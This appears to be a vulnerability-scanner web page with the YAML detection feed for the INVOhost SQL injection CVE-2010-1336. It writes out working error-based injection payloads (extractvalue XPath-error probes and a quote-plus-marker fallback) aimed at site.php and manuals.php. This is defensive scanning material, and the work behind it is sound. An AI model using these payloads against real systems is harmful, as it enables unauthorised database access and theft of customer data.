INVOhost — 1 vulnerability check

noctis ships 1 vulnerability check for INVOhost, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

INVOhost site.php / manuals.php SQL Injection

CVECVE-2010-1336
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/invohost/CVE-2010-1336.yaml

Tests INVOhost 3.4 and earlier for the unauthenticated SQL injection through the id parameter of site.php and the search parameter of manuals.php. In the web root and in the /invohost and /INVOHOST directories, once site.php shows the "Powered by INVOHOST" footer, the feed requests site.php with an id value that makes the database raise an XPath error carrying the product of two random numbers, first for a bare numeric value and then for a quoted one, and then manuals.php with the same expression in a quoted search value. The correct product in the page confirms that the database ran the injected query; the product is not part of the request, so a page that only echoes the URL is not reported. On databases without the EXTRACTVALUE function, the feed instead reports a MySQL syntax error that quotes a random marker sent after a single quote, provided the same page with a plain numeric id shows no SQL error. When the site hides database errors, an INVOhost version of 3.4 or lower shown in the footer is reported with a lower confidence. The probes read no table row and change nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/site.php
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/site.php?id=1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{dir}}/site.php?id=1%27%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))%20AND%2…
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{dir}}/manuals.php?search=x%27%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))%…
  10. Parses / computes the next value with a Rhai script
  11. Checks proof for ^XPATH syntax error: ~[0-9]+ \((site\.php id|manuals\.php search)\)$ → finding QoD 97: INVOhost site.php / manuals.php SQL Injection (CVE-2010-1336)
  12. HTTP(S) request GET {{dir}}/site.php?id=1%27{{m.tag}}
  13. HTTP(S) request GET {{dir}}/site.php?id=1
  14. Parses / computes the next value with a Rhai script
  15. … and 3 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/invohost/CVE-2010-1336.yaml
# INVOhost site.php / manuals.php SQL injection — CVE-2010-1336
#
# INVOhost 3.4 and earlier (commercial PHP hosting billing / support portal)
# paste the raw `id` GET value of site.php (and the `search` value of
# manuals.php) into their MySQL queries and print the database error when a
# query fails (public PoC: site.php?id=%27). The application source is not
# published, so the feed covers both possible contexts of `id` (bare number
# and quoted) and the quoted LIKE context of `search`.
#
# Detection (benign, read-only), per candidate install directory
# ("", /invohost, /INVOHOST):
#   1. GET <dir>/site.php must show the stock "Powered by INVOHOST" footer.
#   2. GET site.php?id=1 AND extractvalue(1,concat(0x7e,<a>*<b>)) (numeric),
#      then site.php?id=1' AND extractvalue(...) AND '1'='1 (quoted), then
#      manuals.php?search=x' AND extractvalue(...) AND '1'='1. The database
#      raises "XPATH syntax error: '~<a×b>'", printed by the page. The product
#      of two random 6-digit operands is not in the request, so a page that
#      only echoes the URL cannot produce it. MySQL / MariaDB fold the
#      constant, so it errors even on an empty table. QoD 97.
#   3. Fallback (MySQL < 5.1 has no EXTRACTVALUE): site.php?id=1'<marker> must
#      print a MySQL "SQL syntax" error quoting the random marker, while the
#      control site.php?id=1 prints no SQL error (fail-closed: the control must
#      answer). QoD 75.
#   4. Last resort, when neither proof showed (e.g. database errors hidden):
#      the version right after the INVOHOST footer name is 3.4 or lower (the
#      reference check's only test). QoD 70.
#
# Improvements over the source NASL: a database-computed proof (QoD 97) and a
# marker + control fallback (QoD 75) instead of a version-only check, both
# quoting contexts and the second vulnerable page; the version is only read
# right after the INVOHOST name, not from the first "version N" in the page.
#
# CVSS: CVE-2010-1336 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_invohost_mult_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.901112, GPL-2.0-only).
uid: 3e221446-d53d-404a-8725-9caf5a2e7f62
name: "INVOhost site.php / manuals.php SQL Injection (CVE-2010-1336)"
description: |
  Tests INVOhost 3.4 and earlier for the unauthenticated SQL injection through
  the id parameter of site.php and the search parameter of manuals.php. In the
  web root and in the /invohost and /INVOHOST directories, once site.php shows
  the "Powered by INVOHOST" footer, the feed requests site.php with an id value
  that makes the database raise an XPath error carrying the product of two
  random numbers, first for a bare numeric value and then for a quoted one, and
  then manuals.php with the same expression in a quoted search value. The
  correct product in the page confirms that the database ran the injected
  query; the product is not part of the request, so a page that only echoes
  the URL is not reported. On databases without the EXTRACTVALUE function, the
  feed instead reports a MySQL syntax error that quotes a random marker sent
  after a single quote, provided the same page with a plain numeric id shows no
  SQL error. When the site hides database errors, an INVOhost version of 3.4
  or lower shown in the footer is reported with a lower confidence. The probes
  read no table row and change nothing.
cves: [CVE-2010-1336]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [invohost, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1336"
  - "https://www.exploit-db.com/exploits/11874"
  - "https://www.securityfocus.com/bid/38962"
  # OpenVAS/Greenbone NASL 2010/gb_invohost_mult_sql_injection.nasl (GPL-2.0-only)

steps:
  # Random operands and marker; the expected proofs are computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999), tag: "Noctis" + rand_str(10) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/invohost", "/INVOHOST"]
      var: dir

  - id: init-num-r
    action: set_var
    var_name: num_r
    var_value: {status: 0, body: ""}

  - id: init-quo-r
    action: set_var
    var_name: quo_r
    var_value: {status: 0, body: ""}

  - id: init-man-r
    action: set_var
    var_name: man_r
    var_value: {status: 0, body: ""}

  - id: init-mark-r
    action: set_var
    var_name: mark_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}

  - id: fetch-site
    action: http_request
    method: GET
    path: "{{dir}}/site.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'proof == ""'
    store_as: home

  - id: gate
    action: script
    code: |
      if proof == "" && type_of(home.body) == "string" {
        stridx(tolower(home.body), "powered by invohost") >= 0
      } else { false }
    store_as: is_inv

  # Numeric context: id=1 AND extractvalue(1,concat(0x7e,<a>*<b>))
  - id: inject-numeric
    action: http_request
    method: GET
    path: "{{dir}}/site.php?id=1%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_inv == true'
    store_as: num_r

  # The error text may be HTML-escaped by a front end; accept the quote in any
  # common form, or none.
  - id: verdict-numeric
    action: script
    code: |
      if is_inv == true && type_of(num_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", num_r.body) != "" { "XPATH syntax error: ~" + prod + " (site.php id)" } else { proof }
    store_as: proof

  # Quoted context: id=1' AND extractvalue(...) AND '1'='1
  - id: inject-quoted
    action: http_request
    method: GET
    path: "{{dir}}/site.php?id=1%27%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))%20AND%20%271%27=%271"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_inv == true && proof == ""'
    store_as: quo_r

  - id: verdict-quoted
    action: script
    code: |
      if proof == "" && is_inv == true && type_of(quo_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", quo_r.body) != "" { "XPATH syntax error: ~" + prod + " (site.php id)" } else { proof }
    store_as: proof

  # manuals.php search (LIKE '%<search>%'): x' AND extractvalue(...) AND '1'='1
  - id: inject-manuals
    action: http_request
    method: GET
    path: "{{dir}}/manuals.php?search=x%27%20AND%20extractvalue(1,concat(0x7e,{{m.a}}*{{m.b}}))%20AND%20%271%27=%271"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_inv == true && proof == ""'
    store_as: man_r

  - id: verdict-manuals
    action: script
    code: |
      if proof == "" && is_inv == true && type_of(man_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "(?:[^0-9]|$)", man_r.body) != "" { "XPATH syntax error: ~" + prod + " (manuals.php search)" } else { proof }
    store_as: proof

  - id: report-xpath
    action: match
    source: proof
    pattern: "^XPATH syntax error: ~[0-9]+ \\((site\\.php id|manuals\\.php search)\\)$"
    on_match:
      finding:
        title: "INVOhost site.php / manuals.php SQL Injection (CVE-2010-1336)"
        description: "An unauthenticated GET with SQL appended to a request parameter made the database compute the product of two random numbers, which came back in the page's database error. Any query the database user may run can be injected the same way, including reading customer records, invoices and the administrator password hashes."
        remediation: "Upgrade INVOhost to a release later than 3.4, or restrict access to the portal. As a stopgap, strip quotes and SQL metacharacters from request parameters before they reach the queries, and stop printing database errors to visitors."
        confidence_delta: 0.65
        qod: 97
        evidence: "A GET under '{{dir}}/' with an injected parameter computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
      stop: true

  # Fallback for MySQL < 5.1: syntax error quoting a random marker, with a
  # control request that shows no SQL error.
  - id: inject-marker
    action: http_request
    method: GET
    path: "{{dir}}/site.php?id=1%27{{m.tag}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_inv == true && proof == ""'
    store_as: mark_r

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/site.php?id=1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_inv == true && proof == "" && type_of(mark_r.body) == "string" && egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != ""'
    store_as: ctl_r

  - id: verdict-marker
    action: script
    code: |
      if proof == "" && is_inv == true && type_of(mark_r.body) == "string" && egrep("SQL syntax.{0,300}" + m.tag, mark_r.body) != "" && ctl_r.status == 200 && type_of(ctl_r.body) == "string" && stridx(ctl_r.body, "SQL syntax") < 0 { "SQL syntax error quoting " + m.tag } else { "" }
    store_as: syn

  - id: report-syntax
    action: match
    source: syn
    pattern: "^SQL syntax error quoting Noctis[A-Za-z0-9]+$"
    on_match:
      finding:
        title: "INVOhost site.php / manuals.php SQL Injection (CVE-2010-1336)"
        description: "An unauthenticated GET to site.php with a single quote and a random marker in the id parameter returned a MySQL syntax error quoting the marker, while the same page with a numeric id showed no SQL error: the parameter is pasted into the query unescaped. Any query the database user may run can be injected the same way."
        remediation: "Upgrade INVOhost to a release later than 3.4, or restrict access to the portal. As a stopgap, strip quotes and SQL metacharacters from request parameters before they reach the queries, and stop printing database errors to visitors."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{dir}}/site.php?id=1'{{m.tag}} returned a MySQL syntax error quoting {{m.tag}}; GET {{dir}}/site.php?id=1 returned status {{ctl_r.status}} with no SQL error"
      stop: true

  # Last resort: the install hides database errors — report the footer version.
  # The version must follow the INVOHOST name directly (only whitespace, tags
  # or the word "version" between them), not be any "version N" in the page.
  - id: footer-version
    action: script
    code: |
      let v = "";
      if is_inv == true && proof == "" && syn == "" {
        let mm = eregmatch("invohost(?:\\s|&nbsp;|<[^>]{0,200}>)*(?:version\\s*:?\\s*)?v?([0-9]+(?:\\.[0-9]+)*)", home.body, true);
        if mm.len() >= 2 { v = mm[1]; }
      }
      let out = "";
      if v != "" {
        let p = v.split(".");
        let major = parse_int(p[0]);
        let minor = if p.len() > 1 { parse_int(p[1]) } else { 0 };
        let rest = 0;
        for i in 2..p.len() { rest += parse_int(p[i]); }
        if major < 3 || (major == 3 && (minor < 4 || (minor == 4 && rest == 0))) {
          out = "INVOhost " + v;
        }
      }
      out
    store_as: ver

  - id: report-version
    action: match
    source: ver
    pattern: "^INVOhost [0-9]+(\\.[0-9]+)*$"
    on_match:
      finding:
        title: "INVOhost site.php / manuals.php SQL Injection (CVE-2010-1336)"
        description: "site.php shows the INVOhost footer with a version of 3.4 or lower, which passes the id parameter of site.php and the search parameter of manuals.php to the database unescaped. The injection itself could not be confirmed (the site may hide database errors); the version alone indicates exposure."
        remediation: "Upgrade INVOhost to a release later than 3.4, or restrict access to the portal."
        confidence_delta: 0.40
        qod: 70
        evidence: "GET {{dir}}/site.php shows the footer of {{ver}}"
      stop: true

View these feeds on GitHub